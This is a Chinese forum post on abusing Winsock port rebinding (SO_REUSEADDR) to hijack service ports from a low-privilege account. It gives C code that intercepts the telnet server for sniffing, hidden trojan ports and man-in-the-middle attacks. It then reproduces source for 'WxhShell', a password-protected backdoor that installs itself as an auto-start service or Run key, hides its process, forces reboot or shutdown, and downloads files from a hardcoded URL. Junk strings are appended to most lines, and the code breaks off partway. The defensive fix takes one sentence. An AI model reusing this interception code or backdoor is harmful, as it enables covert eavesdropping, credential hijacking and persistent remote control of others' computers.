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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9_$Odc%]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Qgi:q  
[G)Sq;  
  saddr.sin_family = AF_INET; #d(r^U#I  
;I' ["k%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /y@iaptC  
,B!Qv3bn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ss}0.5Bq  
7Kjq1zl;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^5F/=TtE G  
i>}z$'X  
  这意味着什么?意味着可以进行如下的攻击: )I9(WVx!]  
}(6k7{,Gw,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .? / J  
zvj\n9H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HB:i0m2fJW  
$T0[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sP7(1)\  
2e=Hjf )  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $4]PN2d&  
gd*?kXpt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 WdnP[x9  
ozG:f*{T  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eU0-_3gN_  
[5-5tipvWp  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yFqC-t-i  
<NO~TBHF  
  #include /;1FZ<zU  
  #include /0(KKZ)  
  #include RB!E>]   
  #include    nm.d.A/]Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %{"STbO#>  
  int main() hW&UG#PY>  
  { hd' n"  
  WORD wVersionRequested; N0f}q1S<-A  
  DWORD ret; m~A/.t%=  
  WSADATA wsaData; \8ZNXCP  
  BOOL val; -D(!B56_  
  SOCKADDR_IN saddr; E83nEUs  
  SOCKADDR_IN scaddr; Cz%ih#^b  
  int err; 71InYIed  
  SOCKET s; YoA$Gw2  
  SOCKET sc; O&uOm:/(  
  int caddsize; C/=ZNl9"fn  
  HANDLE mt; J^cDa|j  
  DWORD tid;   I(SE)%!%S  
  wVersionRequested = MAKEWORD( 2, 2 ); |)?T([  
  err = WSAStartup( wVersionRequested, &wsaData ); U$}]zaB  
  if ( err != 0 ) { w.\:I[  
  printf("error!WSAStartup failed!\n"); l(W3|W#P  
  return -1; G 2##M8:U0  
  } ;d4_l:9p  
  saddr.sin_family = AF_INET; ;f\0GsA#  
   Nx__zC^r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5ZLH=8L  
Uan ;}X7@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (ydeZx  
  saddr.sin_port = htons(23); 1A `u0Y$g  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \kx9V|A'  
  { =v8q  
  printf("error!socket failed!\n"); t!tBN  
  return -1; wpdT "  
  } t$J-6dW  
  val = TRUE; <G={V fr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  ar yr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ak zb<aT  
  { ]3G2mY;`"%  
  printf("error!setsockopt failed!\n"); t@\0$V \X  
  return -1; p5\b&~ g  
  } Nbda P{{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; p|%)uA3'/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JT+P>\\];'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {<lV=0]  
N*#SY$!y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G(>a LF  
  { 6*E 7}  
  ret=GetLastError(); s$;v )w$  
  printf("error!bind failed!\n"); _F9 c.BH  
  return -1; ;%}  
  } J{Jxb1:c  
  listen(s,2); 4{TUoI6ii  
  while(1) 4{V=X3,x  
  { <Ip}uy[Y  
  caddsize = sizeof(scaddr); O;~1M3Ii  
  //接受连接请求 *7ox_ R@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P&K~wP]  
  if(sc!=INVALID_SOCKET) Rs dACP   
  { LS`Gg7]S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oKUJB.PF  
  if(mt==NULL) P7 n~Ui~U  
  { ]Q+Tm2{  
  printf("Thread Creat Failed!\n"); X!m/I i$q  
  break; ty ~U~  
  } ^t"\PpmK<d  
  } <m!\Ma  
  CloseHandle(mt); @m6E*2Gg  
  } +.=a R<Q  
  closesocket(s); kciH  
  WSACleanup(); `k+k&t  
  return 0; y(HR1v Q;Z  
  }   q(C+D%xB  
  DWORD WINAPI ClientThread(LPVOID lpParam) ev>: 3_ s  
  { +Fk.B@KT,  
  SOCKET ss = (SOCKET)lpParam; F[lHG,g-  
  SOCKET sc; ?w.Yx$Z"  
  unsigned char buf[4096]; : v]< h  
  SOCKADDR_IN saddr; 6i%)'dl  
  long num; _$\T;m>'A  
  DWORD val; Ky+TgR  
  DWORD ret; D_@^XS  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b |EZ;,i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JSM{|HJxh  
  saddr.sin_family = AF_INET; ^vzNs>eJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); W!{uEH{%l  
  saddr.sin_port = htons(23); &{>~ |^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9T\:ID= h  
  { SpkD  
  printf("error!socket failed!\n"); !cfn%+0  
  return -1; n[<Vj1n  
  } tw;`H( UZ^  
  val = 100;  H='`#l1  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LWY`J0/  
  { +f+\uObi:  
  ret = GetLastError(); wFh{\  
  return -1; h5~tsd}OU  
  } W>Zce="_gN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?wmr~j  
  { ]p~XTZgW  
  ret = GetLastError(); '1d-N[  
  return -1; P/27+5(|  
  } 8g<3J-7Mm  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^ H'|iju  
  { wJ{M&n1H  
  printf("error!socket connect failed!\n"); X{)M}WO+r  
  closesocket(sc); ydpsPU?wj5  
  closesocket(ss); SgJQH7N  
  return -1; [;c#LJ/y  
  } )UWE.o BI  
  while(1) _c[t.\-`]  
  { ZI1[jM{4^F  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 c| E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k1X<jC]P  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vsc&$r3!5{  
  num = recv(ss,buf,4096,0); rXA7<_Vg  
  if(num>0) UlyX$f%2  
  send(sc,buf,num,0); zdr?1=  
  else if(num==0) zD?<m J`  
  break; :z.< ||T  
  num = recv(sc,buf,4096,0); JIK;/1  
  if(num>0) &D/_@\ 0  
  send(ss,buf,num,0); yHCBf)N7\  
  else if(num==0) /7*u!CNm  
  break; hF6EOCY6D  
  } )4j#gHN\  
  closesocket(ss); &0M^UvO  
  closesocket(sc); 98x(2fCvF(  
  return 0 ; WFtxEIrl3j  
  } $AoN,B>  
=\tg$  
% nJ'r?+h  
========================================================== .a$][Jny  
S53[K/dZo  
下边附上一个代码,,WXhSHELL Nhs]U`s(g  
&}rh+z  
========================================================== r3#H]c  
VaH#~!  
#include "stdafx.h" Fe: 0nr9;  
MSw/_{  
#include <stdio.h> uRJLSt9m  
#include <string.h> w+P bT6;  
#include <windows.h> xZBmQ:s',S  
#include <winsock2.h> R:=i/P/  
#include <winsvc.h> R(3V ! ph  
#include <urlmon.h> xEGI'lt  
|Zz3X  
#pragma comment (lib, "Ws2_32.lib") QO0T<V  
#pragma comment (lib, "urlmon.lib") BH\qm (X  
aiea& aJ  
#define MAX_USER   100 // 最大客户端连接数 zf#V89!]C"  
#define BUF_SOCK   200 // sock buffer j&ddpS(s  
#define KEY_BUFF   255 // 输入 buffer 4u A ;--j  
?mnwD]u  
#define REBOOT     0   // 重启 $KKrl  
#define SHUTDOWN   1   // 关机 ]x! vPIyq  
5WY..60K,  
#define DEF_PORT   5000 // 监听端口 A\gj\&B0"  
T5o9pm D  
#define REG_LEN     16   // 注册表键长度 R|`}z"4C  
#define SVC_LEN     80   // NT服务名长度 #}l }1^$  
#BF(#1:  
// 从dll定义API +Nyx2(g<m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PoQ@9 A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VMsAT3^w  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); J=5G<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (',G Ako  
;DBO  
// wxhshell配置信息 o1 QK@@}  
struct WSCFG { -_v[oqf$  
  int ws_port;         // 监听端口 Ust>%~<  
  char ws_passstr[REG_LEN]; // 口令 [[ H XOPaV  
  int ws_autoins;       // 安装标记, 1=yes 0=no 27}k63\  
  char ws_regname[REG_LEN]; // 注册表键名 (yn!~El3  
  char ws_svcname[REG_LEN]; // 服务名 L3'o2@$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IKH#[jW'IB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5Tkh6s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =]E;wWC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qVx0VR1:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,@8>=rT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5,k&^CK}  
Ay/ "2pDZ  
}; PKty'}KF  
3@_je)s  
// default Wxhshell configuration  Jcy  
struct WSCFG wscfg={DEF_PORT, UIIR$,XB  
    "xuhuanlingzhe", 3L/>=I{5  
    1, (F +if  
    "Wxhshell", % =br-c  
    "Wxhshell",  Hi|'  
            "WxhShell Service", B/&axm%0  
    "Wrsky Windows CmdShell Service", N_UZu  
    "Please Input Your Password: ", #Q"el3P+q  
  1, >n{(2bcFs  
  "http://www.wrsky.com/wxhshell.exe", 9co1+y=i{  
  "Wxhshell.exe" k5P&F  
    }; Kw+?Lowp  
W1iKn  
// 消息定义模块 IX,/ZOZ|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <$K%u?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zH.DyD5T;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SzMh}xDh2  
char *msg_ws_ext="\n\rExit."; H@.j@l  
char *msg_ws_end="\n\rQuit."; rX)PN3TD  
char *msg_ws_boot="\n\rReboot..."; ; P&K a  
char *msg_ws_poff="\n\rShutdown..."; W:ih#YW_F  
char *msg_ws_down="\n\rSave to "; /|bir6Y:  
"n=`{~F  
char *msg_ws_err="\n\rErr!"; xzbyar<  
char *msg_ws_ok="\n\rOK!"; OIe {Sx{y  
)UO:J7K  
char ExeFile[MAX_PATH]; ==l p\  
int nUser = 0; YR=<xn;m.  
HANDLE handles[MAX_USER]; cL7je  
int OsIsNt; p9y "0A|  
{|O8)bW'  
SERVICE_STATUS       serviceStatus; =(3Qbb1i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  +,gI|  
b(&2/|hd  
// 函数声明 eh&?BP?  
int Install(void); mTwz&N\  
int Uninstall(void); %e+hM $Q  
int DownloadFile(char *sURL, SOCKET wsh); ~6Vs>E4G  
int Boot(int flag); b`usRoD{+  
void HideProc(void); g>CF|Wj  
int GetOsVer(void); C7[_#1Oz  
int Wxhshell(SOCKET wsl); TwqyQ49  
void TalkWithClient(void *cs); |)B&-~a+p  
int CmdShell(SOCKET sock); &gw. &/t  
int StartFromService(void); z;xp1t @  
int StartWxhshell(LPSTR lpCmdLine); )0 .gW  
6Y>MW 4q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &&\ h%-Jc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DvKM[z3j  
dw5.vXL`  
// 数据结构和表定义 ?54=TA|5`F  
SERVICE_TABLE_ENTRY DispatchTable[] = s*>s;S?{|  
{ *!ZU" q}i  
{wscfg.ws_svcname, NTServiceMain}, k3da*vwE  
{NULL, NULL} \SHYwD}*Pr  
}; <!v^Df  
y+)][Wa0  
// 自我安装 5hUYxF20h8  
int Install(void) 8$io^n\i  
{ |CexP^;!U  
  char svExeFile[MAX_PATH]; 47ppyh6@  
  HKEY key; 0m(/hK  
  strcpy(svExeFile,ExeFile); rUvqAfE&+  
Xp[[ xV|  
// 如果是win9x系统,修改注册表设为自启动 eu@-v"=w  
if(!OsIsNt) { O5CIK}A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L=O,OS+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;]D@KxO$dJ  
  RegCloseKey(key); #'^!@+)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tV<}!~0,*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KwndY,QD  
  RegCloseKey(key); I,(m\NalK  
  return 0; 9OuK}Ssf  
    } KJo [!|.  
  } AU)"L_ i}  
} bIu '^  
else { >Vy=5)/i  
ZSuUmCm  
// 如果是NT以上系统,安装为系统服务 MUh )  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :DXkAb2  
if (schSCManager!=0) zW,m3~XX:  
{ O8(;=exA  
  SC_HANDLE schService = CreateService I\&..e0l  
  ( q(M[ij  
  schSCManager, .h~M&d!  
  wscfg.ws_svcname, 9$c0<~B\  
  wscfg.ws_svcdisp, P%z\^\p"5  
  SERVICE_ALL_ACCESS, T^B&GgW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p+ SFeUp  
  SERVICE_AUTO_START, }L^Yoq]  
  SERVICE_ERROR_NORMAL, IsxPm9P2<  
  svExeFile, (cAv :EKpo  
  NULL, odMjxWY  
  NULL, j#S>8: G  
  NULL, z6#N f,  
  NULL, tSV}BM,  
  NULL ,>A9OTSN\  
  ); TviC1 {2  
  if (schService!=0) @C62%fU{5  
  { :WIbjI=  
  CloseServiceHandle(schService); !MS z%QcO  
  CloseServiceHandle(schSCManager); =24)`Lyb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  TOdH  
  strcat(svExeFile,wscfg.ws_svcname); .7++wo!,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "#z4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ck>|p09q'9  
  RegCloseKey(key); VI,z7 \  
  return 0; C18pK8-  
    } y:WRpCZoa  
  } dE!{=u(!i  
  CloseServiceHandle(schSCManager); .'mmn5E  
} $)\%i=  
} vmK<_xbwd  
@ +h2R  
return 1; QDYS}{A:V  
} WCA`34(  
/Mb?dVwA  
// 自我卸载 =B4U~|k  
int Uninstall(void) ;ob-'  
{ 7Oe |:Z  
  HKEY key; w~y+Pv@   
]|18tVXc  
if(!OsIsNt) { zDeh#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :BKY#uH~  
  RegDeleteValue(key,wscfg.ws_regname); +8Yt91   
  RegCloseKey(key); :P #   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !SEHDRp  
  RegDeleteValue(key,wscfg.ws_regname); $'btfo4H  
  RegCloseKey(key); }@=m[Zx#  
  return 0; Un@B D}@\  
  } 4SCb9| /Q  
} yS p]+  
} 5<w"iqZ\?N  
else { uNZJNrV%  
wvvMesX<L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u`dWU}m)  
if (schSCManager!=0) y K)7%j!  
{ ,uqSq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k<wX??'  
  if (schService!=0) vNlYk  
  { Iz,a Hrq  
  if(DeleteService(schService)!=0) { $]|fjB#D  
  CloseServiceHandle(schService); !31v@v:)  
  CloseServiceHandle(schSCManager); H>AQlO+J  
  return 0; CT+pkNC  
  } jJdw\`  
  CloseServiceHandle(schService); \2 &)b  
  } *X8<hYKZq  
  CloseServiceHandle(schSCManager); vT"T*FKh:  
} J @C8;]  
} >i7zV`eK  
]S9~2;2^,  
return 1; kKAK;JQ  
} <\!+J\YTA  
J7W]Str  
// 从指定url下载文件 +C1/02ZJ  
int DownloadFile(char *sURL, SOCKET wsh) L3iY Z>]  
{ "^VKs_U8o  
  HRESULT hr; %myg67u  
char seps[]= "/"; wG [X*/v  
char *token; =Y#)c]`  
char *file; %$ |=_K)Ks  
char myURL[MAX_PATH]; }+G6`Zd  
char myFILE[MAX_PATH]; NF&R}7L  
gd^1c}UZX  
strcpy(myURL,sURL); )D_#  
  token=strtok(myURL,seps); ,!_$A}@0 ^  
  while(token!=NULL) f?kA,!  
  { _Z z" `  
    file=token; Z12-Vps  
  token=strtok(NULL,seps); w^EAk(77  
  } 0FD#9r  
fvK):eCo  
GetCurrentDirectory(MAX_PATH,myFILE); ?RJ ) u  
strcat(myFILE, "\\"); pt<!b0G  
strcat(myFILE, file); $50A!h  
  send(wsh,myFILE,strlen(myFILE),0); e}Cp;c]=  
send(wsh,"...",3,0); -:b0fKn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fa9c!xDt  
  if(hr==S_OK) ku3Vr\s  
return 0; <o,]f E[  
else ukb2[mb*u  
return 1;  +LeZjA[  
@N,dA#  
} ]+\;pb}bq  
~6L\9B )  
// 系统电源模块 z}&w7 O#   
int Boot(int flag) :5IbOpVM  
{ PrqN5ND  
  HANDLE hToken;  vp7J';  
  TOKEN_PRIVILEGES tkp; XoEiW R  
<seb,> :  
  if(OsIsNt) { oV"#1lp*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l\< *9m<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >utm\!Gac  
    tkp.PrivilegeCount = 1; |LA@guN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D_er(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rKg~H=4x2  
if(flag==REBOOT) { .si!`?K%[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0J7)UqMf.  
  return 0; }@%A@A{R  
} ,paD/  
else { L]I ;{Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r(-`b8ZE  
  return 0; 0m k-o  
} %K[_;8  
  } I:M]#aFD  
  else { 'oSs5lW  
if(flag==REBOOT) { k/bY>FY2r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s{x{/Bp(KK  
  return 0; .vHSKd{  
}  %~Vgz(/  
else { e@N@8i"q5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H:byCFN-  
  return 0; tmEF7e`(o  
} &U/7D!^X  
} W(U:D?e  
S_?{ <{  
return 1; uj#bK 7  
} 5%M 'ewu  
@9S3u#vP  
// win9x进程隐藏模块 sbn|D\p  
void HideProc(void) \`3YE~7J/  
{ "cSH[/  
V ':?rEN|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zzOc # /  
  if ( hKernel != NULL ) yg34b}m{  
  { uFPJ}m[>5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yneIY-g(p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 40,u(4.m*  
    FreeLibrary(hKernel); ?t<yk(q  
  } d$.t0-lC  
;s{k32e  
return; ~nO]R   
} %6Wv-:LY  
O6JH)Ka"S  
// 获取操作系统版本 j"g[qF/*  
int GetOsVer(void) NKyaR_q`  
{ O#Y;s;)i"  
  OSVERSIONINFO winfo;  <sdC#j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 17IT:T,'  
  GetVersionEx(&winfo); S5B12P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i2$7nSQ9  
  return 1; x?T.ItW:K  
  else JAPiR=  
  return 0; XL!\Lx  
} w}2;f=  
4#D=+70'  
// 客户端句柄模块 8K(3{\J[V  
int Wxhshell(SOCKET wsl) 5X"y46i,H  
{ O#[+= ^  
  SOCKET wsh; G&ZpQ)  
  struct sockaddr_in client; ?[<C,w~$`  
  DWORD myID; Op''=Ar#sh  
=)tU]kp  
  while(nUser<MAX_USER) Gp*U2LB  
{ 7bcl^~lY  
  int nSize=sizeof(client); , c3gW2E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^\|Hz\"*  
  if(wsh==INVALID_SOCKET) return 1; D9.H<.|36  
-<e8\Z`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TNgf96) y  
if(handles[nUser]==0) "h.-qQGU%  
  closesocket(wsh); WGy3SV )  
else lM0`yh  
  nUser++; 08*O|Ym,  
  } \~j6}4XS1.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :yPA6O 4  
~\4`tc  
  return 0; kC : pal  
} A\Ax5eeL  
^)-* Ubzz  
// 关闭 socket P|M#S9^]  
void CloseIt(SOCKET wsh) H_3-"m&3  
{ ]<y _ =>  
closesocket(wsh); g$=y#<2?  
nUser--; 1E3'H7k\t  
ExitThread(0); snU $Na3  
} f+A!w8E  
c:;m BS>~  
// 客户端请求句柄 8M9LY9C  
void TalkWithClient(void *cs) x[%z \  
{ a-nf5w>&q  
24 )Sf  
  SOCKET wsh=(SOCKET)cs; 2VSs#z!  
  char pwd[SVC_LEN]; f9`F~6$  
  char cmd[KEY_BUFF]; LojEJ  
char chr[1]; \gtI4zl*J  
int i,j; E]Wnl\Be  
J})#43P  
  while (nUser < MAX_USER) { # MpW\yX  
b \pjjb[  
if(wscfg.ws_passstr) { 4i<V^go"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BNA`Cc1VV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YG AB2`!U  
  //ZeroMemory(pwd,KEY_BUFF); zpPzXQv]/  
      i=0; L p(6K  
  while(i<SVC_LEN) { }Z^r<-N  
4[q'1N6-  
  // 设置超时 ^Ob#B!=  
  fd_set FdRead; W PDL$y  
  struct timeval TimeOut; /Q|guJx  
  FD_ZERO(&FdRead); 4q<LNvJA  
  FD_SET(wsh,&FdRead); .)eJL  
  TimeOut.tv_sec=8; CqF= 5z:A  
  TimeOut.tv_usec=0; t,CC~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZW+[f$X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WnATgY t  
u+U '|6)E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I\8f`l  
  pwd=chr[0]; |dLA D4%  
  if(chr[0]==0xd || chr[0]==0xa) { A4kYE A  
  pwd=0; ez2rCpA  
  break; K/^70;/!.  
  } G/cE2nD  
  i++; _PI w""ssr  
    } 'Cc(}YY0C  
K9-?7X  
  // 如果是非法用户,关闭 socket 0u,OW  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); fe,A\W&8  
} J~\`8cds  
fi/[(RBG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kzv*`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OfSy_#aEK  
S7/0B4[  
while(1) { E~k_4z% M  
;t^8lC?>V  
  ZeroMemory(cmd,KEY_BUFF); oM')NIW@  
9!aQ@ J^  
      // 自动支持客户端 telnet标准   ^:c:~F6J  
  j=0; 'yrU_k,h  
  while(j<KEY_BUFF) { HOEjLwH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); > `uk2QdC  
  cmd[j]=chr[0]; vmV<PK-  
  if(chr[0]==0xa || chr[0]==0xd) { Glt%%TJb   
  cmd[j]=0; $d@_R^]X  
  break; 'Fe1]B"Y  
  } 3n\eCdV-b<  
  j++; vai.w-}Z  
    } oH[4<K>  
ig] hY/uT  
  // 下载文件 jjs1Vj1@<  
  if(strstr(cmd,"http://")) { uude<d"U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <%@S-+D`]  
  if(DownloadFile(cmd,wsh)) e~wuoE:M3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =*ZQGM3w  
  else aa:97w~s0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &7gL&AY8  
  } L `7~~  
  else { ,g2oqq ?  
Sk'S`vH  
    switch(cmd[0]) { )v4?+$g  
  4V$DV!dPQ}  
  // 帮助 a0s6G3J+9  
  case '?': { `2 vv8cg^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _A8x{[$  
    break; w Ud6xR  
  } 01 UEd8  
  // 安装 d=q&UCC  
  case 'i': { Wq4>!|  
    if(Install()) 6?"k&O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q t!X<.  
    else evbqBb21b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W?*]' 0  
    break; $#bgt   
    } #U46Au  
  // 卸载 FIB 9W@oao  
  case 'r': { iMrNp  
    if(Uninstall()) OZHQnvZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ws{2 0  
    else L(a){<c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K#O8P+n5[  
    break; sQBl9E'!be  
    } yAge2m]<B  
  // 显示 wxhshell 所在路径 rPk=9I  
  case 'p': { r306`)kX  
    char svExeFile[MAX_PATH]; q- U/JC  
    strcpy(svExeFile,"\n\r"); D"5uN0Z  
      strcat(svExeFile,ExeFile); ?1r>t"e5  
        send(wsh,svExeFile,strlen(svExeFile),0); q~3dbj  
    break; O<@S,/Q4  
    } U[!x 0M  
  // 重启 UR/l M,N;  
  case 'b': { O Oa}+^-j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !9$xfg }  
    if(Boot(REBOOT)) [Rqv49n*V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3c#CEuu  
    else { Sdc yL%6!  
    closesocket(wsh); {AJcYZV  
    ExitThread(0); }'?N+MN  
    } ' 9K4A'2[  
    break; s'&/8RR  
    } SiD [54OM  
  // 关机 R\L0   
  case 'd': { +m> %(?=A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t+R8{9L-  
    if(Boot(SHUTDOWN)) KUr}?sdz  
